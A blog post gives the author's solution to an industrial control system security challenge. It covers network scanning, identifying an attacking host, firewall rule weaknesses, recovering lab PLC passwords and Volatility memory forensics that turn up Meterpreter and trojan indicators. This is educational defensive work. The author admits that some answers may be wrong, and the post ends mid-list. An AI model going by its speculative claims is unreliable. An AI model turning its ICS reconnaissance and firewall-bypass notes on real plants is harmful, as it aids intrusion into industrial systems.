Friday, August 5, 2016

Cybati Blackbox Challenge Solution

This challenge ended in May.  This was my submission.  Keep in mind that the answers may not be correct.  I do not have an ICS background.  I read, "The Art of Memory Forensics" to do the part on memory analysis.  Most of the other information, I researched on Google.

Cybati Black Box Competition

Mission 1: Identify the Host IP Address and the Default Gateway.

Host IP Address:  172.16.192.50/24, Default Gateway:  172.16.192.1

Mission 2:  Identify the number of hosts responding within the Industrial Network.

The hosts responding within the Industrial Network are:

router.cybatiworks.local 172.16.192.1
bottlingplc.cybatiworks.local 172.16.192.2
CybatiWorks-1 172.16.192.10
hmiopc.cybatiworks.local 172.16.192.11
plc.cybatiworks.local 172.16.192.12
relay.cybatiworks.local 172.16.192.13
172.16.192.14
172.16.192.50
172.16.192.127
172.16.192.128

So, the number of hosts responding is 10.

Mission 3:  What services are running on the host with the DNS name relay?

The services running on the host with the DNS name relay are:

ftp, http, ssh, zebra

Mission 4:  Identify the active connections to the HMI.

The active connections to the HMI are:

172.16.192.12 (PLC)
172.16.192.13 (relay)

Mission 5:  What point is associated with the Nozzle?

The point associated with the Nozzle is 1.

Mission 6:  Which hosts and Industrial protocol(s) are used for the process?

From what can be seen in the traffic in Wireshark, the hosts that are being used for the process are:

172.16.192.11 (HMI)
172.16.192.12 (PLC)
172.16.192.13 (relay)

From what can be seen in the traffic in Zenmap, one more host is listed:

172.16.192.2 (BottlingPLC)

The industrial protocols that are being used for the process according to Wireshark are CIP (Common Industrial Protocol), DNP3 (Distributed Network Protocol 3.0), Ethernet/IP (Ethernet/Industrial Protocol) and Modbus.  Modbus is seen in the traffic when the BottlingPLC is attacked.

Mission 7:  What Host IP/MAC performed the attack?

The Host IP/MAC that performed the attack was 172.16.192.128/14:9A:10:12:34:56.

Mission 8:  What industrial protocol register was attacked?

4001

Mission 9:  What source IP address is assigned to a host transiting the Internet?  Include firewall rule analysis and packet capture.

The source IP Address that is assigned to a host transiting the Internet is 73.9.9.2.

Mission 10:  What IP routing protocols are configured in each section (i.e. Industrial, Corporate, and Internet)?

In the Industrial section, the IP routing protocols are OSPFv2 (Open Shortest Path First version 2), OSPFv3 (Open Shortest Path First version 3), and RIP (Routing Information Protocol).
In the Corporate section, the IP routing protocols are OSPFv2, and OSPFv3.
In the Internet section, the IP routing protocols is BGP (Border Gateway Protocol). 

Mission 11:  What is the PLC password contained in the RSS file?

The PLC password contained in the PASSWORD.RSS file is 12345678.

Mission 12:  What is the PLC password contained in the PLF file?

The PLC password contained in the PEData.plf file is 123.

Mission 13:  What malware is contained in the DOCX file?

The engineering_invoice.docx has a VBA callback macro.

Mission 14:  What is the executable (.exe) file?  How could it be used?

There is an executable file named oswinsck.exe in the /opt/CybatiWorks/smbshare directory of the file system.  Utilizing a favorite search engine, searching for the executable yields a definition.  “OstroSoft Windsock Component (oswinsck.exe) is a software library providing easy assess to the network layer of an operating system (UDP and TCP sockets)  OSWINSCK.dll serves as a wrapper for the Windsock API and helps programmers to abstract from the complexity of API calls and focus on application functionality.” www.ostrosoft.com/oswinsck.aspx

The program was examined with binwalk.  The oswinsck.exe program has functionality that would make it dangerous if used in a malicious context.  First of all, it can be used with many programming/scripting languages, meaning that using it would be trivial.  Secondly, the SETUP.EXE component gives the program AdjustTokenPrivileges and SeShutdown privileges.  The SETUP1.EXE component gives it ExtractFileFromCab and AdjustTokenPrivileges.  So, it’s self-extracting, meaning that the user doesn’t have to do anything for it to run.  It can decide when it wants to shutdown the computer.  The shutdown functionality is common with malware.  In order to properly install, the computer must usually be shut down, so the program is set to do that so that the malware can more quickly do what it is programmed to do.  Some legitimate programs need shutdown privileges, so context should be considered when analyzing a program.  The program allows remote connections to sockets, meaning, depending on how this program is used, that these connections may bypass security mechanisms that are put in to place or cause a DOS situation.  Searching for some of the strings that are in SETUP1.EXE portion of the program, for example, “f:\sources\vb98\lego.32\VB6.OLB”, shows that SETUP1.EXE has been used in malware.  This does not mean that that particular program, SETUP1.EXE, in of itself is malicious.  It just means that that program may contain libraries that the malicious part of the program is dependent upon to complete it’s function.  It appears as though another component of oswinsck.exe, SETUP.EXE creates registry keys.  It may have a legitimate reason for doing so.

Mission 15:  Describe findings of the two VMEM files located in the /opt/CybatiWorks/Labs/volatility directory.  The files are titled CybatiWorksWindows.vmem

These machines appear to be the same machine.  Their IP Address and MAC Address match according to the ethscan and netscan plugins.  IP Addresses and MAC Addresses can be spoofed, though.  The CybatiWorks Windows1.vmem appears to be infected with a banking trojan called Zusy.  The CybatiWorks Windows1.vmem was actually done later than the CybatiWorks Windows2.vmem:  about 5 hours apart.  The 2nd image may be infected with WisdomEyes, a javascript (js) malware.  CybatiWorks Windows1.vmem seems to have symptoms of this malware as well-ie some of the processes detect as being infected with WisdomEyes.  There can be false positives, though.  It can’t be determined definitively because there was trouble locating information about WisdomEyes.  The question is if they are the same image, why would CybatiWorks Windows2.vmem be infected with a js malware, but the same machine image taken 5 hours later not be infected with the js malware?  IExplore isn’t hooked in the CybatiWorks Windows1.vmem image.  Malfind isn’t always correct about hooks being malware, but the hooks are suspicious.

Some of the mutex entries have what appears to be port numbers, but they are not listed on totalhash or Google.  Odd that some of the same mutexes appear on the same machine more than once.

Methodology

Mission 1:  Identify the Host IP Address and the Default Gateway

The Host IP Address and the Default Gateway are given in a pop up box when the Blackbox is started.

Mission 2:  Identify the number of hosts responding within the Industrial Network.
The Industrial Network is in the IP range 172.16.192.0/24.  Zenmap Intense Scan runs a number of scans against the target network to see which hosts respond to the scan.  Zenmap lists the hosts and any services that it found to be running as well as creating a map of the network. 

Step 3:
Baseline:
router.cybatiworks.local (172.16.192.1) MAC 00:00:0C:DE:12:46
bottlingplc.cybatiworks.local (172.16.192.2) MAC 00:30:A7:13:24:11
CybatiWorks-1 (172.16.192.10) MAC 28:63:36:A1:11:C2
hmiopc.cybatiworks.local  (172.16.192.11) MAC 00:0D:56:81:AC:13
plc.cybatiworks.local (172.16.192.12) MAC 00:1D:9C:A1:B2:67
relay.cybatiworks.local (172.16.192.13) MAC 00:30:A7:31:40:11
172.16.192.14 MAC 00:30:A7:21:AE:15
172.16.192.50
172.16.192.127 MAC 14:9A:10:AA:31:11
172.16.192.128 MAC 14:9A:10:12:34:56
Mission 3:  What services are running on the host with the DNS name relay? 

Zenmap found the name of some of the hosts on the network.  Many times, the name denotes what kind of host that it is.  The name of the host was relay.cybatiworks.local.  The Zenmap GUI has an area with the hosts listed as well as a tabbed interface that has “Hosts” and “Services”.  After selected the correct host, relay.cybatiworks.local, one can click on the “Services” tab to see what services that that host is running.
Mission 4:  Identify the active connections to the HMI.
Wireshark, and a tap in the correct place in a network, can be used to create a base line of network traffic.  In order to get a good base line, the traffic must be captured for a while.  It should show most, if not all of the hosts on the network.  Hosts don’t have set times when they send or receive traffic, hence the reason that it takes time.  After enough traffic has been collected, on the Wireshark menu bar, there is a Statistics option.  Once selected, the Statistics option brings up a drop-down menu.  On the Conversations menu, different types of active connections are shown.  It is a tabbed interface.  The IP4 tab shows the IP addresses of the hosts connecting with each other.  This one should be carefully analyzed because it is possible for IP Addresses to be spoofed.  The Ethernet tab shows the MAC addresses of the machines connecting with each other.  This one can be spoofed as well.  The active connections to the HMI can be determined by looking at the IP Addresses and MAC addresses of the machines connecting to hmiopc.cybatiworks.local (172.16.192.11).  
Mission 5:  What is the point associated with the nozzle?
The point associated with the nozzle is 1.  The description in Figure 1 shows that PB2 (NC) is associated with 001.  NC stands for Nozzle Control. When one watches the process as shown in Step 4, it shows the CybatiWorks Bottle Filling Process Status.  There are 4 input statuses:  Bottle In Position, Nozzle Status, Motor Status, and Level Hit.  On Table 1 of the engineering schematics, it shows the I/O address assignment.  For the input, there are four assignments:  Start Process PB1 (Point 000), Stop Process PB2 (NC)(Point 001), Limit Switch (position detect)(Point 002), and PhotoEye (Level Detect)(Point 003).  The point is in the DNP3 protocol, and the traffic seems to concur with this finding.  First, the point is 0.  The bottle is moved into place.  Once the bottle is in place, the rollers stop moving.  Then the point is 1.  The nozzle is turned on.  The bottle is filled until the PhotoEye detects that the bottle is full.  The limit switch is point 2.  It has one of two values, yes or no.  If the limit has not been reached, it stays no.  Once the limit has been reached, it changes to yes.  The photo eye is point 3.  It has one of two values as well, yes or no.  It stays no until it detects that the bottle is full, the value changes to yes.  Then the point is switched back to 0 again because the process is starting again-another bottle is being moved into place.
Mission 6:  Which hosts/industrial protocols are associated with the process?
The hosts involved with the process according to passive analysis with Wireshark are: 172.16.192.11 (HMI), 172.16.192.12 (PLC), 172.16.192.13 (relay).  The connections were found in the Wireshark/Statistics/Conversations menu by clicking on the IPv4 Tab.  However, if one actively observes the traffic, using Zenmap, one can see that there is another host involved in the process.  172.16.192.2 (BottlingPLC).
The industrial protocols are CIP, DNP3, and Ethernet/IP.  The protocols were found in the Wireshark/Statistics/Protocol hierarchy menu.  The Firewall rules show that ModbusTCP is in use as well.
Mission 7:  What Host IP/MAC performed the attack?  
The Host IP/MAC that performed the attack was 172.16.192.128/14:9A:10:12:34:56.  Wireshark was  running with the Statistics/Conversations menu open.  When the attack was performed, the traffic changed.  172.16.192.2 responded to 172.16.192.128.  172.16.192.2 is the Bottling PLC.  172.16.192.128s relation to the network was unknown until it performed the attack.
Mission 8:  What industrial protocol register was attacked?
4001.  The attack was to “Stop and Fill”.  The process is supposed to wait .7 seconds before moving onto the next bottle.  It may manipulate this register into thinking that the timer is not finished yet. 
Mission 9:  What source IP address is assigned to a host transiting the Internet?  Include firewall rule analysis and packet capture.
The source IP Address that is assigned to a host transiting the Internet is 73.9.9.2.  The Corporate network is sectioned off from the Internet with a router/Firewall that has NAT (network address translation), or in this case, more specifically PAT (port address translation).  What that means is that each of the machines in the Corporate address have their own internal IP Addresses.  Those IP Addresses are not Internet routable.  In order to make them Internet routable, the router/Firewall puts a publicly routable IP Address on the packets sent from the Corporate Network to the Internet.  So, all of the packets leaving the network will have the same Internet routable IP Address.  This is shown in the traffic.  When the machine, 10.0.11.128 tries to reach a machine on the Internet, 73.9.5.10, on the outbound traffic, internal IP address, 10.0.11.128, is seen, however, on the response from 73.9.5.10, the IP that it is sent to is 73.9.9.2.  The Firewall rules seem to concur as well.  The Corporate Firewall rules show Eth0 (outside) being configured to 73.9.9.2 with a subnet mask of 255.255.255.0.  The inside (eth1) is configured to 10.0.10.1 with a subnet mask of 255.255.255.0.   
Firewall Policy Analysis
The firewall analyzes packets from the top of the Firewall Rules, down.  Whichever rule that the packets encounter that the packet meets the rule’s criteria is the rule that the packet triggers.
Industrial
Rule 0:  shows the source is from the Corporate Network to OSPF Multicast.  Any service traffic is allowed through from the outside interface, in both directions, at any time.
Rule 1:  ModbusTCP(port 502) traffic from the CybatiWorksPI and Bottling Data machines to the Meter_Data machine is allowed on the inside interface in both directions at any time.
Rule 2:  FTP and FTP Data traffic (TCP 20, 21) from the Industrial_Network_DHCP is allowed to the ENGINEERING _FTP_SERVER on the inside interface in both directions at any time.  This could be any traffic-not necessarily ftp data.
Rule 3:  Any Source and Any Destination is allowed to use ICMP in any direction on any interface at any time.
Rule 4:  Any Source and Any Destination is allowed to have an established connection or a related connection from the outside interface at any time in both directions.
Rule 5 states to deny traffic from any source, any destination, any service, any interface in both directions.  It is after the other rules, meaning that the other rules take precedence.  It is good to have a default deny rule for all the traffic that doesn’t fit one of the other rules.

Regarding Rule 0:  OSPF routers are a target of attack.  If for any reason the router has a vulnerability and hasn’t been patched or replaced, this could be a way into the Industrial network.

Regarding Rule 1:  ModbusTCP can’t verify the sender of packets, so the CybatiWorksPI and Bottling Data machines could still be attacked from inside the network by a machine spoofing the MAC/IP of the Meter_Data machine.

Regarding Rule 2:  The ENGINEERING _FTP_SERVER is outside of the Industrial network.  Since it has an FTP/FTP Data rule with the Industrial_Network_DHCP, it could be used as a means of attack, or a pivot point for an attack against the from the corporate network to the industrial system.  As long as the traffic is on port 20 or port 21, it does not have to be ftp traffic to exploit the ftp server.

Regarding Rule 3:  Someone could use ICMP messages to enumerate hosts on the network, and then spoof an IP/MAC Addresses to attack.  This could potentially cause a DOS situation as well.

Regarding rule 4:

“ESTABLISHED- the packet is associated with a connection which has seen packets in both directions.”

“RELATED- the packet is starting a new connection, but is associated with an existing connection, such as an FTP data transfer, or an ICMP error.”

These could potentially be abused so that the Firewall “thinks” that there was an established or related connection because a incorrectly configured machine in the industrial network accepts an unsolicited connection, or, someone opens a bad e-mail attachment that makes an unauthorized connection from the file that they opened, exploiting a vulnerability in an application.

Regarding Rule 5:

Unfortunately, this default deny rule won’t trigger if Rule 4 is abused.

Corporate

Rule 0:  Traffic from OSPF_Multicast to inside the network, any service, on the inside interface in any direction is allowed.  Traffic from the CORE_NETWORK to OSPF_Multicast, any service on the inside interface.

Rule 1:  Traffic from any source to any destination is allowed so long as it is ICMP service on the inside interface in both directions.

Rule 2:  Traffic from any source to any destination is allowed so long as it is https, http (443, 80) traffic on the inside interface in both directions.

Rule 3:  Traffic from any source to any destination is allowed so long as it is TCP ssh (port 22) traffic on the inside interface in both directions.

Rule 4:  Traffic from any source to any destination is allowed so long as it is TCP/UDP port 53, domain traffic.

Rules 5 and 6 allows traffic from any source to any destination as long as the traffic is part of an established, and related connection from the outside, in either direction.  The iptables manual describes those states thusly:

“ESTABLISHED- the packet is associated with a connection which has seen packets in both directions.”

“RELATED- the packet is starting a new connection, but is associated with an existing connection, such as an FTP data transfer, or an ICMP error.”

Rule 7 states to deny traffic from any source, any destination, any service, any interface in both directions.  It is after the other rules, meaning that the other rules take precedence.  It is good to have a default deny rule for all the traffic that doesn’t fit one of the other rules.

Regarding Rule 0:  OSPF routers are a target of attack.  If for any reason the router has a vulnerability and hasn’t been patched or replaced, this could be a way into the Corporate network. 

Regarding Rule 1:  Allowing ICMP traffic from any source to any destination even on the inside interface isn’t a good idea because it still opens up the potential for a DOS and enumerating hosts within the network.

Regarding Rule 2:  As long as the traffic fits TCP on ports 443, and 80, then this could be any traffic.  Attackers would prefer to use these ports as a means of reconnaissance, scanning, or attack so that their attempts can blend in with the normal day to day operations.

Regarding Rule 3:  As long as the traffic fits TCP on port 22, it can be any traffic.

Regarding Rule 4:  As long as the traffic fits the port 53 TCP/UDP, it can be any traffic.  It doesn’t have to be DNS.  Also, data can be exfiltrated using DNS traffic.  Example:  DNScat.

Regarding Rules 5 and 6:  These could potentially be abused so that the Firewall “thinks” that there was an established or related connection because a incorrectly configured machine in the corporate network accepts an unsolicited connection, or, someone opens a bad e-mail attachment that makes an unauthorized connection from the file that they opened exploiting a vulnerability in an application.  ipv6 has been subject to some interesting attacks, including the ability to exfiltrate data using ipv4 tunneling.  ipv6 can also be used to enumerate hosts on the network using ipv6 router advertisements and ipv6 neighbor discovery.

Mission 10:  What IP routing protocols are configured in each section (Industrial, Corporate, Internet)?
According to the Firewall settings:
In the Industrial section, the IP routing protocol that is configured is:  OSPF (Open Shortest Path First.)

In the Corporate section, the IP routing protocol that is configured is:  OSPF (Open Shortest Path First.)

According to the configurations of the Blackbox environment:    
In the Blackbox environment, right click on the node that is of interest, and select the services menu to see what services are currently running in the node.  The nodes of interest are n6 (the Industrial Firewall), n8 (the corporate firewall) and n9 (one of the routers to traverse the Internet).
In the Industrial section, the IP routing protocols are:  zebra, OSPFv2 (Open Shortest Path First version 2), OSPFv3 (Open Shortest Path First version 3), and RIP (Routing Information Protocol).
In the Corporate section, the IP routing protocols are:  zebra, OSPFv2 (Open Shortest Path First version 2), and OSPFv3 (Open Shortest Path First version 3).
In the Internet portion, the IP routing protocols are:  zebra (a suite of TCP/IP routing protocols), and BGP (Border Gateway Protocol).

Mission 11:  What is the PLC password contained in the RSS file? 

The PLC password contained in the RSS file is 12345678.  The PASSWORD.RSS file was found in /Home/Desktop/CYBATI_LABS/Labs/passwords/PASSWORD.RSS file.  It was also stored in /opt/CybatiWorks/smbshare.  Using grep -i password capture.pcapng on the packet capture yields a match for this file as well.  A tool can binwalk was used to analyze the RSS file.  Binwalk found and extracted files.  Using the grep -i “password” ./* command, the directory containing the extracted binwalk files was searched until the word password was found.
Mission 12:  What is the PLC password contained in the PLF file? 
The PEData.plf file was found in /Home/Desktop/CYBATI_LABS/Labs/passwords.  There is more than one password hash contained in the file.  The most current password hash corresponds to the password 123.  There was a tool in the /Home/Desktop/CYBATI_LABS/Labs/passwords folder that was used to analyze the PEData.plf file called s7_password_hashes_extractor.py.  A PEData.plf file is a project file for the Siemens PLC.
Mission 13:  What malware is contained in the DOCX file? 
The engineering_invoice.docx has a VBA callback macro.  A tool called binwalk was used to analyze the document.  The document can be taken apart, much like an archive, because of the format that is used in this type of document.  If one uses binwalk, on a Linux machine, the separate files stored in the archive-like format can be seen and manipulated.  At the top of the directory structure in the document, there are three folders, docProps, _rels, and word.  Using the Linux Terminal, if one navigates to the "word" folder, one can see that there is a document.xml file.  The strings command shows the strings that are in the file.  One of the strings states, “This is a Cybatiworks engineering manipulated document with a VBA callback macro.”  The engineering_invoice.docx has a jpeg image in it.  JPEG format is well known for being used to hide documents, either in the image itself, by taking the last 3 bits of each pixel and overwriting them with data-which doesn’t change the view of the picture because those fields are not discernible by the human eye.  The JPEG format is also well-known for having EXIF data.  A file may be hidden in there as well.  A less known way to hide a document in a JPEG is to use the ICC_Profile so that when the image is parsed by vulnerable software, seemingly random strings are passed, which tell the program to use privileged commands to download a file.  The executable could be self-extracting, meaning that it could start installing before anyone would notice it.  There are random strings in the engineering_invoice.docx file that may be used as described.
Mission 14:  What is the executable (.exe) file?  How could it be used?
There is an executable file named oswinsck.exe in the /opt/CybatiWorks/smbshare directory of the file system.  Utilizing a favorite search engine, searching for the executable yields a definition.  “OstroSoft Windsock Component (oswinsck.exe) is a software library providing easy assess to the network layer of an operating system (UDP and TCP sockets)  OSWINSCK.dll serves as a wrapper for the Windsock API and helps programmers to abstract from the complexity of API calls and focus on application functionality.” www.ostrosoft.com/oswinsck.aspx
The program was examined with binwalk.  The oswinsck.exe program has functionality that would make it dangerous if used in a malicious context.  First of all, it can be used with many programming/scripting languages, meaning that using it would be trivial.  Secondly, the SETUP.EXE component gives the program AdjustTokenPrivileges and SeShutdown privileges.  The SETUP1.EXE component gives it ExtractFileFromCab and AdjustTokenPrivileges.  So, it’s self-extracting, meaning that the user doesn’t have to do anything for it to run.  It can decide when it wants to shutdown the computer.  The shutdown functionality is common with malware.  In order to properly install, the computer must usually be shut down, so the program is set to do that so that the malware can more quickly do what it is programmed to do.  Some legitimate programs need shutdown privileges, so context should be considered when analyzing a program.  The program allows remote connections to sockets, meaning, depending on how this program is used, that these connections may bypass security mechanisms that are put in to place or cause a DOS situation.  Searching for some of the strings that are in SETUP1.EXE portion of the program, for example, “f:\sources\vb98\lego.32\VB6.OLB”, shows that SETUP1.EXE has been used in malware.  This does not mean that that particular program, SETUP1.EXE, in of itself is malicious.  It just means that that program may contain libraries that the malicious part of the program is dependent upon to complete it’s function.  It appears as though another component of oswinsck.exe, SETUP.EXE creates registry keys.  It may have a legitimate reason for doing so.
Mission 15:  Describe findings of the two VMEM files located in the /opt/CybatiWorks/Labs/volatility directory.  The files are titled CybatiWorks Windows1.vmem and CybatiWorks Windows2.vmem.
These machines appear to be the same machine.  Their IP Address and MAC Address match according to the ethscan and netscan plugins.  IP Addresses and MAC Addresses can be spoofed, though.  The CybatiWorks Windows1.vmem appears to be infected with a banking trojan called Zusy.  The CybatiWorks Windows1.vmem was actually done later than the CybatiWorks Windows2.vmem:  about 5 hours apart.  The 2nd image may be infected with WisdomEyes, a javascript (js) malware.  CybatiWorks Windows1.vmem seems to have symptoms of this malware as well-ie some of the processes detect as being infected with WisdomEyes.  There can be false positives, though.  It can’t be determined definitively because there was trouble locating information about WisdomEyes.  The question is if they are the same image, why would CybatiWorks Windows2.vmem be infected with a js malware, but the same machine image taken 5 hours later not be infected with the js malware?  IExplore isn’t hooked in the CybatiWorks Windows1.vmem image.  Malfind isn’t always correct about hooks being malware, but the hooks are suspicious.
Some of the mutex entries have what appears to be port numbers, but they are not listed on totalhash or Google.  Odd that some of the same mutexes appear on the same machine more than once.
Windows 7-1st Machine 
APIHooks
None detected on this machine.
Atoms:
Unprintable Charaters:  Sometimes malware writers use atoms to prove that the malware is installed so that it doesn’t reinfect the machine.  They do the same with mutants.  Many malware writers are unaware that atoms can be found when the memory image is studied, so atoms can be used as an indicator of compromise, much like a mutant can.
0x15d45508 ---------- ------------------     0xc0b6     2         182         0      0000000006430001
0x15d45508 ---------- ------------------     0xc09e     3         158         0      0000000002af0001
DeskScan:
Noticed notepad.exe running under the parent PID 1448.  Tried using Volatility’s plugin to read the notepad.  It states that that plugin can’t be used on this profile.  Many of the suspicious processes found in malfind are running under the parent PID 1448.  Dumping the files of parent PID 1448, and uploading it to virus total shows that it potentially contains more than one threat.  Notepad.exe is commonly used as a default cover for a malicious file by Metasploit.
https://www.virustotal.com/en/file/4f4c8c01a2f3421a2be628a0bed834303dfcbe4f4805b587b69c56cb0e4b853a/analysis/
EventLogs:
vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-1.vmem" dumpfiles --regex .evtx$ --ignore-case --dump-dir Win1Out/EventLogs
evtxdump.pl ~/Desktop/Win1Out/EventLogs/file.788.0xa1b9f708.vacb
Couldn’t get any of the events to print.  They may have been swapped out of memory during the acquisition.
Handles:
Using vol.py —profile=Win7SP0x86 -f “CybatiWorks Windows 7-7240278-1.vmem” -p 1308 handles -t Mutant
Processes 608, 944, 1308, 1864, 3068 has a bunch of unnamed mutants.
ImageInfo:
vol.py imageinfo -f "CybatiWorks Windows 7-72420278-1.vmem"
Volatility Foundation Volatility Framework 2.4
Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP0x86, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/sansforensics/Desktop/CybatiWorks Windows 7-72420278-1.vmem)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x83171be8
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0x83172c00
                KPCR for CPU 1 : 0x807c4000
             KUSER_SHARED_DATA : 0xffdf0000
           Image date and time : 2016-03-02 21:04:13 UTC+0000
     Image local date and time : 2016-03-02 15:04:13 -0600

Malfind:

Process:  svchost.exe PID 656
Process:  IAStorIcon.exe PID 1864
Process:  RNADiagnostics PID 3068
Process:  FTActivationBo PID 608
Process:  Rs500.exe PID:  5252
Process:  Runtime.exe PID: 4184
Process:  IAStorDataMgrs PID 944
Process:  ControlFLASH.exe PID 1308

Using the switch to dump the malfind processes, one process was detected as being malicious.  Meterpreter functions were in it.

https://www.virustotal.com/en/file/506fba9cf441ef53ae775662daaba0489047add2cfc3ff01fcb1da8150bbf182/analysis/1464400685/

Mftparser:

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-2.vmem" mftparser | grep "DATA ADS"
There are alternate data streams on this machine.  Sometimes they can be used to hide malicious activity.
$DATA ADS Name: $Max
$DATA ADS Name: $Bad

Timeliner: showed some suspicious processes, so their files were dumped, keeping the names, with the dumpfiles plugin.  The processes in the malfind plugin were examined.  vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-1.vmem" dumpfiles --dump-dir=Win1Out/P1308 -n -p 1308 The Process 1308 was found to potentially contain malware-specifically, ControlFLASH.exe is suspicious.  Dumping the executable and examining the executable with the strings -a command in Linux yields a string of a known way to hide malware; specifically, “C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb”.  This information was found in a 2013 Holiday Hack Challenge write-up:  https://blogs.sans.org/pen-testing/files/2014/01/SANS-Holiday-Challenge-2013-Report.pdf.  

When the dumped executable file, ControlFLASH.exe, is posted to VirusTotal, it indicates that the file may be, Zusy, a banking trojan.  https://www.virustotal.com/en/file/934c90a8e9636aa253f8587256a57861a2b79bb251186993de8aedd85894a71f/analysis/  

The processes 608, 656, 944, 1864, 3068, 4184, 5252 had one hit for a potential infection on virustotal.com.  It was for a trojan called WisdomEyes.  There can be false positives, though.  Also, malware tends to be given different names by different antivirus vendors, so there may be many names for the same malware.





Process 5252 also showed on virus total in a couple of heuristic scanners and as a worm.


Process 4184 also shows up on Heuristic scanners.


https://www.virustotal.com/en/file/a8775d27b41fe013ca87f7113fcb02445316330b0d8e8a67c8378f90211b5270/analysis/1463979321/

When Process 1308, which is the ControlFLASH.exe process is uploaded to VirusTotal, it is showing up in 30/56 scanners as malware.  It shows up as Kazy, El Dorado, Exploit PDF, backdoor, trojan, WisdomEyes, Win32Shell, etc.

https://www.virustotal.com/en/file/ef5812f831617fcaa8b61e549d29e1457029e9b8921ddea05a82dc22534b1990/analysis/1463979558/

Mutex-Checked on totalhash.cymru.com

Suspicious Mutexes- (don’t return malware on totalhash)  It’s suspicious because most developers name their mutants in a human legible format.  These appear to be kind of random.

3ms3e5moktadhny3mm2esyeirxbgyb02
2564:3632 mutexbccbd6deb77907e18cb1fd9ef855dc51nreq

One mutex states about an IPChange. The IP Address that was attacked was 172.16.167.30, which was some kind of automation device, according to the the packets from the ethscan plugin.  On the traffic from machine 2, 172.16.167.30 was attacked by a machine with the ip address 172.16.1.10.  This mutex doesn’t show up as malware on totalhash, either.
PNIOUSRX_IPCHANGE_MTX__{9F4DA4EA-EDDF-4AA5-8621-8C899D6ECA90}

Mutexes that detect as potential activity by malware:

ZonesLockedCacheCounterMutex                 Kazy, Razy, Zusy
mutex for InstallShield Update Manager         Kazy, Razy
ASiPodServiceMutex                 Expiro, Parite, Sality
.NET CLR Networking_Perf_Library_Lock_PID_f88 Nitol, Overlie
Windows Workflow Foundation 4.0.0.0_Perf_Library_Lock_PID_f88 Nitol, Overlie, Zusy
_!MSFTHISTORY!_                 Kazy,Razy,Zusy
Windows Workflow Foundation 3.0.0.0_Perf_Library_Lock_PID_f88 Nitol, Overlie
.NET CLR Networking 4.0.0.0_Perf_Library_Lock_PID_f88 Nitol, Overlie
WinVNC_Win32_Instance_Mutex                “Firewall bypass”
SMSvcHost 3.0.0.0_Perf_Library_Lock_PID_f88 Trojan-Keylogger
ALTTAB_RUNNING_MUTEX                 Kazy
_SHuassist.mtx                 trojan
RasPbFile                         Razy
.NET Memory Cache 4.0_Perf_Library_Lock_PID_f88 Nitol, Overlie
DBWinMutex- Exploit CVE-2013-2729, MalPDF Kazy
.NET Data Provider for Oracle_Perf_Library_Lock_PID_f88 Nitol, Overlie
.NET CLR Data_Perf_Library_Lock_PID_f88-Nitol Overlie, Eldorado
.NET Data Provider for SqlServer_Perf_Library_Lock_PID_f88 Nitol, Overlie
{A3B03259-3E4F-428a-84C8-F0463A9D3EB5} Password Stealing Trojan

NetScan/Ethscan

IP Addresses and MACS
172.16.1.10 00:50:56:00:ab:63 (VMWare)
172.16.192.101 00:50:56:00:ab:63 (VMWare)
0.0.0.0 ca:fe:ba:be:ca:fe - not a valid IP Address, notice-same Mac as 172.16.167.130
172.16.167.130 ca:fe:ba:be:ca:fe
30.1.16.172 This IP was found in Link Local Multicast Traffic-This IP is the same IP as 172.16.1.30- it’s backwards which indicates Little Endian.
53.0.53.4         This IP was found in NBDS Traffic.
172.16.167.1 This IP was found in DHCP Traffic-Domain Name Server
172.16.167.254 This IP was found in DHCP Traffic-DHCP Server


In NetScan, There are suspicious looking listeners set up on ports 138,139, 445, 3389, which means that the malicious process could be taking advantage of SMB over IP and Remote Desktop Protocol.  It has listeners set up with the login process lsass.exe as well, which means that someone could log into the machine.  The local IP Address is different depending on which connection it’s using, which indicates possible IP Address Spoofing.  The IP Addresses were 0.0.0.0, 172.16.1.10, and 172.16.167.130.  0.0.0.0 in the netscan plugin means that it’s listening on all IP Addresses.  Postgres.exe was on the machine as well, indicating potential use of Metasploit/Meterpreter.  Postgres.exe is also used in some antivirus software.  Could this machine be a pivot point that is used to exploit other machines?  There was a process with an extremely high process ID, which indicates a potential infection because process IDs don’t usually go that high.  The name of the high PID process did not display properly.

In EthScan- there was a lot of UDP traffic that appeared to be a P2P C&C.  It was speculated that it may be base64 encoded, however decoding it didn’t make it make sense.  172.16.1.30 (Rockwell Automation) is communicating wth 172.16.1.10 (VMWare) over port 44818 which is the Ethernet/IP port.  

Printkey:

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-1.vmem" printkey -K "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \??\C:\Users\CYBATI\ntuser.dat
Key name: Run (S)
Last updated: 2014-08-14 05:38:39 UTC+0000

Subkeys:

Values:
REG_SZ        Sshfs           : (S) -

SSDT:

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-1.vmem" ssdt | egrep -v ‘(ntoskrnl\.exe|win32k\.sys)'
No evidence of rootkit activity using this regular expression.  (Doesn’t mean that there isn’t one on this machine.  Just means that if there is one, they hid it in a different manner.)

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-1.vmem" ssdt --verbose | grep INLINE
Volatility Foundation Volatility Framework 2.4
  ** INLINE HOOK? => 0x9b4fff83 (aksfridge.sys)
  ** INLINE HOOK? => 0x9b50958b (aksfridge.sys) <—potentially evidence of a rootkit using an Inline Hook.

Strings:

These prefetch files are very suspicious.  Why is CONTROLFLASH.EXE running from the kernel?  Why would someone name a legitimate file PAYLOAD.EXE?

478787672 [kernel:8b26d858] 8<CONTROLFLASH.EXE-84D11900.pf
478787792 [kernel:8b26d8d0] 8<CONTROLFLASH.EXE-84D11900.pf
478787912 [kernel:8b26d948] 8<CONTROLFLASH.EXE-84D11900.pf
484634018 [kernel:b0643da2] PAYLOAD.EXE-58A6A924.pf

Process 1308, which is CONTROLFLASH.EXE appears to be a meterpreter payload.  In the strings command, it has many of the strings associated with meterpreter.  Here are a few:
